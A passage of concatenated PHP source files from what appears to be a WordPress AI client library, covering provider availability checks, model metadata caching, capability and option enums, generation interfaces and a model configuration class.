    public function __construct(ModelInterface $model)
    {
        if (!$model instanceof TextGenerationModelInterface) {
            throw new Exception('The model class to check provider availability must implement TextGenerationModelInterface.');
        }
        $this->model = $model;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function isConfigured(): bool
    {
        // Set config to use as few resources as possible for the test.
        $modelConfig = ModelConfig::fromArray([ModelConfig::KEY_MAX_TOKENS => 1]);
        $this->model->setConfig($modelConfig);
        try {
            // Attempt to generate text to check if the provider is available.
            $this->model->generateTextResult([new Message(MessageRoleEnum::user(), [new MessagePart('a')])]);
            return \true;
        } catch (Exception $e) {
            // If an exception occurs, the provider is not available.
            return \false;
        }
    }
}
src/Providers/ApiBasedImplementation/ListModelsApiBasedProviderAvailability.php000064400000003406152205304550024121 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;

use Exception;
use WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
/**
 * Class to check availability for an API-based provider via a test request to the endpoint to list models.
 *
 * This class should be used for cloud-based providers that offer a model listing endpoint which requires
 * authentication. A request to this endpoint is used to determine if the provider is properly configured
 * with valid credentials.
 *
 * @since 0.1.0
 */
class ListModelsApiBasedProviderAvailability implements ProviderAvailabilityInterface
{
    /**
     * @var ModelMetadataDirectoryInterface The model metadata directory to use for checking availability.
     */
    private ModelMetadataDirectoryInterface $modelMetadataDirectory;
    /**
     * Constructor.
     *
     * @since 0.1.0
     *
     * @param ModelMetadataDirectoryInterface $modelMetadataDirectory The model metadata directory to use for checking
     *                                                                availability.
     */
    public function __construct(ModelMetadataDirectoryInterface $modelMetadataDirectory)
    {
        $this->modelMetadataDirectory = $modelMetadataDirectory;
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    public function isConfigured(): bool
    {
        try {
            // Attempt to list models to check if the provider is available.
            $this->modelMetadataDirectory->listModelMetadata();
            return \true;
        } catch (Exception $e) {
            // If an exception occurs, the provider is not available.
            return \false;
        }
    }
}
src/Providers/ApiBasedImplementation/AbstractApiBasedModelMetadataDirectory.php000064400000006365152205304550024055 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;

use WordPress\AiClient\AiClient;
use WordPress\AiClient\Common\Contracts\CachesDataInterface;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Traits\WithDataCachingTrait;
use WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithRequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\Traits\WithHttpTransporterTrait;
use WordPress\AiClient\Providers\Http\Traits\WithRequestAuthenticationTrait;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
 * Base class for an API-based model metadata directory for a provider.
 *
 * @since 0.1.0
 */
abstract class AbstractApiBasedModelMetadataDirectory implements ModelMetadataDirectoryInterface, WithHttpTransporterInterface, WithRequestAuthenticationInterface, CachesDataInterface
{
    use WithHttpTransporterTrait;
    use WithRequestAuthenticationTrait;
    use WithDataCachingTrait;
    /**
     * The cache key suffix for the models list.
     *
     * @since 0.4.0
     *
     * @var string
     */
    private const MODELS_CACHE_KEY = 'models';
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function listModelMetadata(): array
    {
        $modelsMetadata = $this->getModelMetadataMap();
        return array_values($modelsMetadata);
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function hasModelMetadata(string $modelId): bool
    {
        $modelsMetadata = $this->getModelMetadataMap();
        return isset($modelsMetadata[$modelId]);
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.1.0
     */
    final public function getModelMetadata(string $modelId): ModelMetadata
    {
        $modelsMetadata = $this->getModelMetadataMap();
        if (!isset($modelsMetadata[$modelId])) {
            throw new InvalidArgumentException(sprintf('No model with ID %s was found in the provider', $modelId));
        }
        return $modelsMetadata[$modelId];
    }
    /**
     * Returns the map of model ID to model metadata for all models from the provider.
     *
     * @since 0.1.0
     *
     * @return array<string, ModelMetadata> Map of model ID to model metadata.
     */
    private function getModelMetadataMap(): array
    {
        /** @var array<string, ModelMetadata> */
        return $this->cached(self::MODELS_CACHE_KEY, fn() => $this->sendListModelsRequest(), 86400);
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.4.0
     */
    protected function getCachedKeys(): array
    {
        return [self::MODELS_CACHE_KEY];
    }
    /**
     * {@inheritDoc}
     *
     * @since 0.4.0
     */
    protected function getBaseCacheKey(): string
    {
        return 'ai_client_' . AiClient::VERSION . '_' . md5(static::class);
    }
    /**
     * Sends the API request to list models from the provider and returns the map of model ID to model metadata.
     *
     * @since 0.1.0
     *
     * @return array<string, ModelMetadata> Map of model ID to model metadata.
     */
    abstract protected function sendListModelsRequest(): array;
}
src/Providers/ApiBasedImplementation/Contracts/ApiBasedModelInterface.php000064400000002021152205304550022605 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation\Contracts;

use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
/**
 * Interface for API-based AI models that support HTTP transport configuration.
 *
 * This interface extends ModelInterface to add request options support
 * for models that communicate with external APIs via HTTP.
 *
 * @since 0.3.0
 */
interface ApiBasedModelInterface extends ModelInterface
{
    /**
     * Sets the request options for HTTP transport.
     *
     * @since 0.3.0
     *
     * @param RequestOptions $requestOptions The request options to use.
     * @return void
     */
    public function setRequestOptions(RequestOptions $requestOptions): void;
    /**
     * Gets the request options for HTTP transport.
     *
     * @since 0.3.0
     *
     * @return RequestOptions|null The request options, or null if not set.
     */
    public function getRequestOptions(): ?RequestOptions;
}
src/Providers/ApiBasedImplementation/AbstractApiProvider.php000064400000003001152205304550020302 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;

use WordPress\AiClient\Providers\AbstractProvider;
/**
 * Base class for API-based providers.
 *
 * This abstract class provides URL construction utilities for providers that
 * communicate with REST APIs. It standardizes the pattern of combining a base
 * URL with endpoint paths.
 *
 * @since 0.2.0
 */
abstract class AbstractApiProvider extends AbstractProvider
{
    /**
     * Gets the base URL for the provider's API.
     *
     * The base URL should include the protocol and domain, and may include
     * the API version path (e.g., "https://api.example.com/v1").
     *
     * @since 0.2.0
     *
     * @return string The base URL for the provider's API.
     */
    abstract protected static function baseUrl(): string;
    /**
     * Constructs a full URL by combining the base URL with an optional path.
     *
     * This method ensures proper URL construction by:
     * - Using the provider's base URL
     * - Trimming leading slashes from the path to prevent double-slashes
     * - Joining the base URL and path with a single forward slash
     *
     * @since 0.2.0
     *
     * @param string $path Optional path to append to the base URL. Default empty string.
     * @return string The complete URL.
     */
    public static function url(string $path = ''): string
    {
        if ($path === '') {
            return static::baseUrl();
        }
        return static::baseUrl() . '/' . ltrim($path, '/');
    }
}
src/Providers/Models/Enums/OptionEnum.php000064400000013451152205304550014435 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\Enums;

use ReflectionClass;
use WordPress\AiClient\Common\AbstractEnum;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
/**
 * Enum for model options.
 *
 * This enum dynamically includes all options from ModelConfig KEY_* constants
 * in addition to the explicitly defined constants below.
 *
 * Explicitly defined option (not in ModelConfig):
 * @method static self inputModalities() Creates an instance for INPUT_MODALITIES option.
 * @method bool isInputModalities() Checks if the option is INPUT_MODALITIES.
 *
 * Dynamically loaded from ModelConfig KEY_* constants:
 * @method static self candidateCount() Creates an instance for CANDIDATE_COUNT option.
 * @method static self customOptions() Creates an instance for CUSTOM_OPTIONS option.
 * @method static self frequencyPenalty() Creates an instance for FREQUENCY_PENALTY option.
 * @method static self functionDeclarations() Creates an instance for FUNCTION_DECLARATIONS option.
 * @method static self logprobs() Creates an instance for LOGPROBS option.
 * @method static self maxTokens() Creates an instance for MAX_TOKENS option.
 * @method static self outputFileType() Creates an instance for OUTPUT_FILE_TYPE option.
 * @method static self outputMediaAspectRatio() Creates an instance for OUTPUT_MEDIA_ASPECT_RATIO option.
 * @method static self outputMediaOrientation() Creates an instance for OUTPUT_MEDIA_ORIENTATION option.
 * @method static self outputMimeType() Creates an instance for OUTPUT_MIME_TYPE option.
 * @method static self outputModalities() Creates an instance for OUTPUT_MODALITIES option.
 * @method static self outputSchema() Creates an instance for OUTPUT_SCHEMA option.
 * @method static self outputSpeechVoice() Creates an instance for OUTPUT_SPEECH_VOICE option.
 * @method static self presencePenalty() Creates an instance for PRESENCE_PENALTY option.
 * @method static self stopSequences() Creates an instance for STOP_SEQUENCES option.
 * @method static self systemInstruction() Creates an instance for SYSTEM_INSTRUCTION option.
 * @method static self temperature() Creates an instance for TEMPERATURE option.
 * @method static self topK() Creates an instance for TOP_K option.
 * @method static self topLogprobs() Creates an instance for TOP_LOGPROBS option.
 * @method static self topP() Creates an instance for TOP_P option.
 * @method static self webSearch() Creates an instance for WEB_SEARCH option.
 * @method bool isCandidateCount() Checks if the option is CANDIDATE_COUNT.
 * @method bool isCustomOptions() Checks if the option is CUSTOM_OPTIONS.
 * @method bool isFrequencyPenalty() Checks if the option is FREQUENCY_PENALTY.
 * @method bool isFunctionDeclarations() Checks if the option is FUNCTION_DECLARATIONS.
 * @method bool isLogprobs() Checks if the option is LOGPROBS.
 * @method bool isMaxTokens() Checks if the option is MAX_TOKENS.
 * @method bool isOutputFileType() Checks if the option is OUTPUT_FILE_TYPE.
 * @method bool isOutputMediaAspectRatio() Checks if the option is OUTPUT_MEDIA_ASPECT_RATIO.
 * @method bool isOutputMediaOrientation() Checks if the option is OUTPUT_MEDIA_ORIENTATION.
 * @method bool isOutputMimeType() Checks if the option is OUTPUT_MIME_TYPE.
 * @method bool isOutputModalities() Checks if the option is OUTPUT_MODALITIES.
 * @method bool isOutputSchema() Checks if the option is OUTPUT_SCHEMA.
 * @method bool isOutputSpeechVoice() Checks if the option is OUTPUT_SPEECH_VOICE.
 * @method bool isPresencePenalty() Checks if the option is PRESENCE_PENALTY.
 * @method bool isStopSequences() Checks if the option is STOP_SEQUENCES.
 * @method bool isSystemInstruction() Checks if the option is SYSTEM_INSTRUCTION.
 * @method bool isTemperature() Checks if the option is TEMPERATURE.
 * @method bool isTopK() Checks if the option is TOP_K.
 * @method bool isTopLogprobs() Checks if the option is TOP_LOGPROBS.
 * @method bool isTopP() Checks if the option is TOP_P.
 * @method bool isWebSearch() Checks if the option is WEB_SEARCH.
 *
 * @since 0.1.0
 */
class OptionEnum extends AbstractEnum
{
    /**
     * Input modalities option.
     *
     * This constant is not in ModelConfig as it's derived from message content,
     * not configured directly.
     */
    public const INPUT_MODALITIES = 'input_modalities';
    /**
     * Determines the class enumerations by reflecting on class constants.
     *
     * Overrides the parent method to dynamically add constants from ModelConfig
     * that are prefixed with KEY_. These are transformed to remove the KEY_ prefix
     * and converted to snake_case values.
     *
     * @since 0.1.0
     *
     * @param class-string $className The fully qualified class name.
     * @return array<string, string> The enum constants.
     */
    protected static function determineClassEnumerations(string $className): array
    {
        // Start with the constants defined in this class using parent method
        $constants = parent::determineClassEnumerations($className);
        // Use reflection to get all constants from ModelConfig
        $modelConfigReflection = new ReflectionClass(ModelConfig::class);
        $modelConfigConstants = $modelConfigReflection->getConstants();
        // Add ModelConfig constants that start with KEY_
        foreach ($modelConfigConstants as $constantName => $constantValue) {
            if (str_starts_with($constantName, 'KEY_')) {
                // Remove KEY_ prefix to get the enum constant name
                $enumConstantName = substr($constantName, 4);
                // The value is the snake_case version stored in ModelConfig
                // ModelConfig already stores these as snake_case strings
                if (is_string($constantValue)) {
                    $constants[$enumConstantName] = $constantValue;
                }
            }
        }
        return $constants;
    }
}
src/Providers/Models/Enums/CapabilityEnum.php000064400000005022152205304550015241 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\Enums;

use WordPress\AiClient\Common\AbstractEnum;
/**
 * Enum for model capabilities.
 *
 * @since 0.1.0
 *
 * @method static self textGeneration() Creates an instance for TEXT_GENERATION capability.
 * @method static self imageGeneration() Creates an instance for IMAGE_GENERATION capability.
 * @method static self textToSpeechConversion() Creates an instance for TEXT_TO_SPEECH_CONVERSION capability.
 * @method static self speechGeneration() Creates an instance for SPEECH_GENERATION capability.
 * @method static self musicGeneration() Creates an instance for MUSIC_GENERATION capability.
 * @method static self videoGeneration() Creates an instance for VIDEO_GENERATION capability.
 * @method static self embeddingGeneration() Creates an instance for EMBEDDING_GENERATION capability.
 * @method static self chatHistory() Creates an instance for CHAT_HISTORY capability.
 * @method bool isTextGeneration() Checks if the capability is TEXT_GENERATION.
 * @method bool isImageGeneration() Checks if the capability is IMAGE_GENERATION.
 * @method bool isTextToSpeechConversion() Checks if the capability is TEXT_TO_SPEECH_CONVERSION.
 * @method bool isSpeechGeneration() Checks if the capability is SPEECH_GENERATION.
 * @method bool isMusicGeneration() Checks if the capability is MUSIC_GENERATION.
 * @method bool isVideoGeneration() Checks if the capability is VIDEO_GENERATION.
 * @method bool isEmbeddingGeneration() Checks if the capability is EMBEDDING_GENERATION.
 * @method bool isChatHistory() Checks if the capability is CHAT_HISTORY.
 */
class CapabilityEnum extends AbstractEnum
{
    /**
     * Text generation capability.
     */
    public const TEXT_GENERATION = 'text_generation';
    /**
     * Image generation capability.
     */
    public const IMAGE_GENERATION = 'image_generation';
    /**
     * Text to speech conversion capability.
     */
    public const TEXT_TO_SPEECH_CONVERSION = 'text_to_speech_conversion';
    /**
     * Speech generation capability.
     */
    public const SPEECH_GENERATION = 'speech_generation';
    /**
     * Music generation capability.
     */
    public const MUSIC_GENERATION = 'music_generation';
    /**
     * Video generation capability.
     */
    public const VIDEO_GENERATION = 'video_generation';
    /**
     * Embedding generation capability.
     */
    public const EMBEDDING_GENERATION = 'embedding_generation';
    /**
     * Chat history support capability.
     */
    public const CHAT_HISTORY = 'chat_history';
}
src/Providers/Models/VideoGeneration/Contracts/VideoGenerationOperationModelInterface.php000064400000001435152205304550026037 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\VideoGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
 * Interface for models that support asynchronous video generation operations.
 *
 * Provides methods for initiating long-running video generation tasks.
 *
 * @since 1.3.0
 */
interface VideoGenerationOperationModelInterface
{
    /**
     * Creates a video generation operation.
     *
     * @since 1.3.0
     *
     * @param list<Message> $prompt Array of messages containing the video generation prompt.
     * @return GenerativeAiOperation The initiated video generation operation.
     */
    public function generateVideoOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/VideoGeneration/Contracts/VideoGenerationModelInterface.php000064400000001335152205304550024155 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\VideoGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Interface for models that support video generation.
 *
 * Provides synchronous methods for generating videos from prompts.
 *
 * @since 1.3.0
 */
interface VideoGenerationModelInterface
{
    /**
     * Generates videos from a prompt.
     *
     * @since 1.3.0
     *
     * @param list<Message> $prompt Array of messages containing the video generation prompt.
     * @return GenerativeAiResult Result containing generated videos.
     */
    public function generateVideoResult(array $prompt): GenerativeAiResult;
}
Providers/Models/TextToSpeechConversion/Contracts/TextToSpeechConversionOperationModelInterface.php000064400000001527152205304550030670 0ustar00src<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextToSpeechConversion\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
 * Interface for models that support asynchronous text-to-speech conversion operations.
 *
 * Provides methods for initiating long-running text-to-speech conversion tasks.
 *
 * @since 0.1.0
 */
interface TextToSpeechConversionOperationModelInterface
{
    /**
     * Creates a text-to-speech conversion operation.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the text to convert to speech.
     * @return GenerativeAiOperation The initiated text-to-speech conversion operation.
     */
    public function convertTextToSpeechOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/TextToSpeechConversion/Contracts/TextToSpeechConversionModelInterface.php000064400000001374152205304550027066 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextToSpeechConversion\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Interface for models that support text-to-speech conversion.
 *
 * Provides synchronous methods for converting text to speech audio.
 *
 * @since 0.1.0
 */
interface TextToSpeechConversionModelInterface
{
    /**
     * Converts text to speech.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the text to convert to speech.
     * @return GenerativeAiResult Result containing generated speech audio.
     */
    public function convertTextToSpeechResult(array $prompt): GenerativeAiResult;
}
src/Providers/Models/ImageGeneration/Contracts/ImageGenerationOperationModelInterface.php000064400000001436152205304550025770 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\ImageGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
 * Interface for models that support asynchronous image generation operations.
 *
 * Provides methods for initiating long-running image generation tasks.
 *
 * @since 0.1.0
 */
interface ImageGenerationOperationModelInterface
{
    /**
     * Creates an image generation operation.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the image generation prompt.
     * @return GenerativeAiOperation The initiated image generation operation.
     */
    public function generateImageOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/ImageGeneration/Contracts/ImageGenerationModelInterface.php000064400000001342152205304550024103 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\ImageGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Interface for models that support image generation.
 *
 * Provides synchronous methods for generating images from text prompts.
 *
 * @since 0.1.0
 */
interface ImageGenerationModelInterface
{
    /**
     * Generates images from a prompt.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the image generation prompt.
     * @return GenerativeAiResult Result containing generated images.
     */
    public function generateImageResult(array $prompt): GenerativeAiResult;
}
src/Providers/Models/SpeechGeneration/Contracts/SpeechGenerationModelInterface.php000064400000001350152205304550024454 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\SpeechGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Interface for models that support speech generation.
 *
 * Provides synchronous methods for generating speech from prompts.
 *
 * @since 0.1.0
 */
interface SpeechGenerationModelInterface
{
    /**
     * Generates speech from a prompt.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the speech generation prompt.
     * @return GenerativeAiResult Result containing generated speech audio.
     */
    public function generateSpeechResult(array $prompt): GenerativeAiResult;
}
src/Providers/Models/SpeechGeneration/Contracts/SpeechGenerationOperationModelInterface.php000064400000001445152205304550026342 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\SpeechGeneration\Contracts;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
 * Interface for models that support asynchronous speech generation operations.
 *
 * Provides methods for initiating long-running speech generation tasks.
 *
 * @since 0.1.0
 */
interface SpeechGenerationOperationModelInterface
{
    /**
     * Creates a speech generation operation.
     *
     * @since 0.1.0
     *
     * @param list<Message> $prompt Array of messages containing the speech generation prompt.
     * @return GenerativeAiOperation The initiated speech generation operation.
     */
    public function generateSpeechOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/DTO/ModelConfig.php000064400000073244152205304550014073 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\DTO;

use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Files\Enums\FileTypeEnum;
use WordPress\AiClient\Files\Enums\MediaOrientationEnum;
use WordPress\AiClient\Messages\Enums\ModalityEnum;
use WordPress\AiClient\Tools\DTO\FunctionDeclaration;
use WordPress\AiClient\Tools\DTO\WebSearch;
/**
 * Represents configuration for an AI model.
 *
 * This class allows configuring various parameters for model behavior,
 * including output modalities, system instructions, generation parameters,
 * and tool integrations.
 *
 * @since 0.1.0
 *
 * @phpstan-import-type FunctionDeclarationArrayShape from FunctionDeclaration
 * @phpstan-import-type WebSearchArrayShape from WebSearch
 *
 * @phpstan-type ModelConfigArrayShape array{
 *     outputModalities?: list<string>,
 *     systemInstruction?: string,
 *     candidateCount?: int,
 *     maxTokens?: int,
 *     temperature?: float,
 *     topP?: float,
 *     topK?: int,
 *     stopSequences?: list<string>,
 *     presencePenalty?: float,
 *     frequencyPenalty?: float,
 *     logprobs?: bool,
 *     topLogprobs?: int,
 *     functionDeclarations?: list<FunctionDeclarationArrayShape>,
 *     webSearch?: WebSearchArrayShape,
 *     outputFileType?: string,
 *     outputMimeType?: string,
 *     outputSchema?: array<string, mixed>,
 *     outputMediaOrientation?: string,
 *     outputMediaAspectRatio?: string,
 *     outputSpeechVoice?: string,
 *     customOptions?: array<string, mixed>
 * }
 *
 * @extends AbstractDataTransferObject<ModelConfigArrayShape>
 */
class ModelConfig extends AbstractDataTransferObject
{
    public const KEY_OUTPUT_MODALITIES = 'outputModalities';
    public const KEY_SYSTEM_INSTRUCTION = 'systemInstruction';
    public const KEY_CANDIDATE_COUNT = 'candidateCount';
    public const KEY_MAX_TOKENS = 'maxTokens';
    public const KEY_TEMPERATURE = 'temperature';
    public const KEY_TOP_P = 'topP';
    public const KEY_TOP_K = 'topK';
    public const KEY_STOP_SEQUENCES = 'stopSequences';
    public const KEY_PRESENCE_PENALTY = 'presencePenalty';
    public const KEY_FREQUENCY_PENALTY = 'frequencyPenalty';
    public const KEY_LOGPROBS = 'logprobs';
    public const KEY_TOP_LOGPROBS = 'topLogprobs';
    public const KEY_FUNCTION_DECLARATIONS = 'functionDeclarations';
    public const KEY_WEB_SEARCH = 'webSearch';
    public const KEY_OUTPUT_FILE_TYPE = 'outputFileType';
    public const KEY_OUTPUT_MIME_TYPE = 'outputMimeType';
    public const KEY_OUTPUT_SCHEMA = 'outputSchema';
    public const KEY_OUTPUT_MEDIA_ORIENTATION = 'outputMediaOrientation';
    public const KEY_OUTPUT_MEDIA_ASPECT_RATIO = 'outputMediaAspectRatio';
    public const KEY_OUTPUT_SPEECH_VOICE = 'outputSpeechVoice';
    public const KEY_CUSTOM_OPTIONS = 'customOptions';
    /*
     * Note: This key is not an actual model config key, but specified here for convenience.
     * It is relevant for model discovery, to determine which models support which input modalities.
     * The actual input modalities are part of the message sent to the model, not the model config.
     */
    public const KEY_INPUT_MODALITIES = 'inputModalities';
    /**
     * @var list<ModalityEnum>|null Output modalities for the model.
     */
    protected ?array $outputModalities = null;
    /**
     * @var string|null System instruction for the model.
     */
    protected ?string $systemInstruction = null;
    /**
     * @var int|null Number of response candidates to generate.
     */
    protected ?int $candidateCount = null;
    /**
     * @var int|null Maximum number of tokens to generate.
     */
    protected ?int $maxTokens = null;
    /**
     * @var float|null Temperature for randomness (0.0 to 2.0).
     */
    protected ?float $temperature = null;
    /**
     * @var float|null Top-p nucleus sampling parameter.
     */
    protected ?float $topP = null;
    /**
     * @var int|null Top-k sampling parameter.
     */
    protected ?int $topK = null;
    /**
     * @var list<string>|null Stop sequences.
     */
    protected ?array $stopSequences = null;
    /**
     * @var float|null Presence penalty for reducing repetition.
     */
    protected ?float $presencePenalty = null;
    /**
     * @var float|null Frequency penalty for reducing repetition.
     */
    protected ?float $frequencyPenalty = null;
    /**
     * @var bool|null Whether to return log probabilities.
     */
    protected ?bool $logprobs = null;
    /**
     * @var int|null Number of top log probabilities to return.
     */
    protected ?int $topLogprobs = null;
    /**
     * @var list<FunctionDeclaration>|null Function declarations available to the model.
     */
    protected ?array $functionDeclarations = null;
    /**
     * @var WebSearch|null Web search configuration for the model.
     */
    protected ?WebSearch $webSearch = null;
    /**
     * @var FileTypeEnum|null Output file type.
     */
    protected ?FileTypeEnum $outputFileType = null;
    /**
     * @var string|null Output MIME type.
     */
    protected ?string $outputMimeType = null;
    /**
     * @var array<string, mixed>|null Output schema (JSON schema).
     */
    protected ?array $outputSchema = null;
    /**
     * @var MediaOrientationEnum|null Output media orientation.
     */
    protected ?MediaOrientationEnum $outputMediaOrientation = null;
    /**
     * @var string|null Output media aspect ratio (e.g. 3:2, 16:9).
     */
    protected ?string $outputMediaAspectRatio = null;
    /**
     * @var string|null Output speech voice.
     */
    protected ?string $outputSpeechVoice = null;
    /**
     * @var array<string, mixed> Custom provider-specific options.
     */
    protected array $customOptions = [];
    /**
     * Creates a deep clone of this configuration.
     *
     * Clones nested objects (functionDeclarations, webSearch) to ensure
     * the cloned configuration is independent of the original.
     * Enum value objects (outputModalities, outputFileType, outputMediaOrientation)
     * are intentionally shared as they are immutable.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        // Deep clone function declarations if set
        if ($this->functionDeclarations !== null) {
            $clonedDeclarations = [];
            foreach ($this->functionDeclarations as $declaration) {
                $clonedDeclarations[] = clone $declaration;
            }
            $this->functionDeclarations = $clonedDeclarations;
        }
        // Clone web search if set
        if ($this->webSearch !== null) {
            $this->webSearch = clone $this->webSearch;
        }
        // Note: Enum value objects (outputModalities, outputFileType, outputMediaOrientation)
        // are immutable and can be safely shared.
    }
    /**
     * Sets the output modalities.
     *
     * @since 0.1.0
     *
     * @param list<ModalityEnum> $outputModalities The output modalities.
     *
     * @throws InvalidArgumentException If the array is not a list.
     */
    public function setOutputModalities(array $outputModalities): void
    {
        if (!array_is_list($outputModalities)) {
            throw new InvalidArgumentException('Output modalities must be a list array.');
        }
        $this->outputModalities = $outputModalities;
    }
    /**
     * Gets the output modalities.
     *
     * @since 0.1.0
     *
     * @return list<ModalityEnum>|null The output modalities.
     */
    public function getOutputModalities(): ?array
    {
        return $this->outputModalities;
    }
    /**
     * Sets the system instruction.
     *
     * @since 0.1.0
     *
     * @param string $systemInstruction The system instruction.
     */
    public function setSystemInstruction(string $systemInstruction): void
    {
        $this->systemInstruction = $systemInstruction;
    }
    /**
     * Gets the system instruction.
     *
     * @since 0.1.0
     *
     * @return string|null The system instruction.
     */
    public function getSystemInstruction(): ?string
    {
        return $this->systemInstruction;
    }
    /**
     * Sets the candidate count.
     *
     * @since 0.1.0
     *
     * @param int $candidateCount The candidate count.
     */
    public function setCandidateCount(int $candidateCount): void
    {
        $this->candidateCount = $candidateCount;
    }
    /**
     * Gets the candidate count.
     *
     * @since 0.1.0
     *
     * @return int|null The candidate count.
     */
    public function getCandidateCount(): ?int
    {
        return $this->candidateCount;
    }
    /**
     * Sets the maximum tokens.
     *
     * @since 0.1.0
     *
     * @param int $maxTokens The maximum tokens.
     */
    public function setMaxTokens(int $maxTokens): void
    {
        $this->maxTokens = $maxTokens;
    }
    /**
     * Gets the maximum tokens.
     *
     * @since 0.1.0
     *
     * @return int|null The maximum tokens.
     */
    public function getMaxTokens(): ?int
    {
        return $this->maxTokens;
    }
    /**
     * Sets the temperature.
     *
     * @since 0.1.0
     *
     * @param float $temperature The temperature.
     */
    public function setTemperature(float $temperature): void
    {
        $this->temperature = $temperature;
    }
    /**
     * Gets the temperature.
     *
     * @since 0.1.0
     *
     * @return float|null The temperature.
     */
    public function getTemperature(): ?float
    {
        return $this->temperature;
    }
    /**
     * Sets the top-p parameter.
     *
     * @since 0.1.0
     *
     * @param float $topP The top-p parameter.
     */
    public function setTopP(float $topP): void
    {
        $this->topP = $topP;
    }
    /**
     * Gets the top-p parameter.
     *
     * @since 0.1.0
     *
     * @return float|null The top-p parameter.
     */
    public function getTopP(): ?float
    {
        return $this->topP;
    }
    /**
     * Sets the top-k parameter.
     *
     * @since 0.1.0
     *
     * @param int $topK The top-k parameter.
     */
    public function setTopK(int $topK): void
    {
        $this->topK = $topK;
    }
    /**
     * Gets the top-k parameter.
     *
     * @since 0.1.0
     *
     * @return int|null The top-k parameter.
     */
    public function getTopK(): ?int
    {
        return $this->topK;
    }
    /**
     * Sets the stop sequences.
     *
     * @since 0.1.0
     *
     * @param list<string> $stopSequences The stop sequences.
     *
     * @throws InvalidArgumentException If the array is not a list.
     */
    public function setStopSequences(array $stopSequences): void
    {
        if (!array_is_list($stopSequences)) {
            throw new InvalidArgumentException('Stop sequences must be a list array.');
        }
        $this->stopSequences = $stopSequences;
    }
    /**
     * Gets the stop sequences.
     *
     * @since 0.1.0
     *
     * @return list<string>|null The stop sequences.
     */
    public function getStopSequences(): ?array
    {
        return $this->stopSequences;
    }
    /**
     * Sets the presence penalty.
     *
     * @since 0.1.0
     *
     * @param float $presencePenalty The presence penalty.
     */
    public function setPresencePenalty(float $presencePenalty): void
    {
        $this->presencePenalty = $presencePenalty;
    }
    /**
     * Gets the presence penalty.
     *
     * @since 0.1.0
     *
     * @return float|null The presence penalty.
     */
    public function getPresencePenalty(): ?float
    {
        return $this->presencePenalty;
    }
    /**
     * Sets the frequency penalty.
     *
     * @since 0.1.0
     *
     * @param float $frequencyPenalty The frequency penalty.
     */
    public function setFrequencyPenalty(float $frequencyPenalty): void
    {
        $this->frequencyPenalty = $frequencyPenalty;
    }
    /**
     * Gets the frequency penalty.
     *
     * @since 0.1.0
     *
     * @return float|null The frequency penalty.
     */
    public function getFrequencyPenalty(): ?float
    {
